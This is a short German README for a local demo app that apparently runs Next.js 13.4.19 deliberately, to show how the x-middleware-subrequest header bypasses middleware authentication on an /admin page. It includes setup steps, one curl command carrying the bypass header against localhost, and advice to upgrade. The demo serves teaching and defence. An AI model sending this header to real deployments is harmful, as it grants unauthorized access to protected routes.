Next.js Autorisierungs-Bypass Demo

Diese Anwendung demonstriert die x-middleware-subrequest-Schwachstelle in Next.js 13.4.19, die das Umgehen des Middleware-Schutzes ermöglicht.

Einrichtung

1. Abhängigkeiten installieren:

npm install

2. Den Entwicklungsserver starten:

npm run dev

Schwachstellen-Demonstration

Die Anwendung hat eine Admin-Seite unter /admin, die durch Middleware geschützt sein sollte. Sie kann jedoch ohne Authentifizierung mithilfe des x-middleware-subrequest-Headers aufgerufen werden.

Normaler Ablauf

1. Besuche /admin – Du wirst zu /login weitergeleitet
2. Melde Dich mit beliebigen Anmeldedaten an – Du wirst zu /admin weitergeleitet

Bypass-Methode

Um die Authentifizierung zu umgehen, kannst Du curl oder einen beliebigen HTTP-Client verwenden, um eine Anfrage mit dem x-middleware-subrequest-Header zu senden:

curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin

Sicherheitsauswirkungen

Diese Schwachstelle zeigt, wie der Middleware-Schutz in Next.js 13.4.19 durch die Verwendung des x-middleware-subrequest-Headers umgangen werden kann. In einer Produktionsumgebung könnte dies unbefugten Zugriff auf geschützte Routen ermöglichen.

Behebung

Um diese Schwachstelle zu beheben, aktualisiere auf eine neuere Version von Next.js, in der dieses Problem behoben wurde.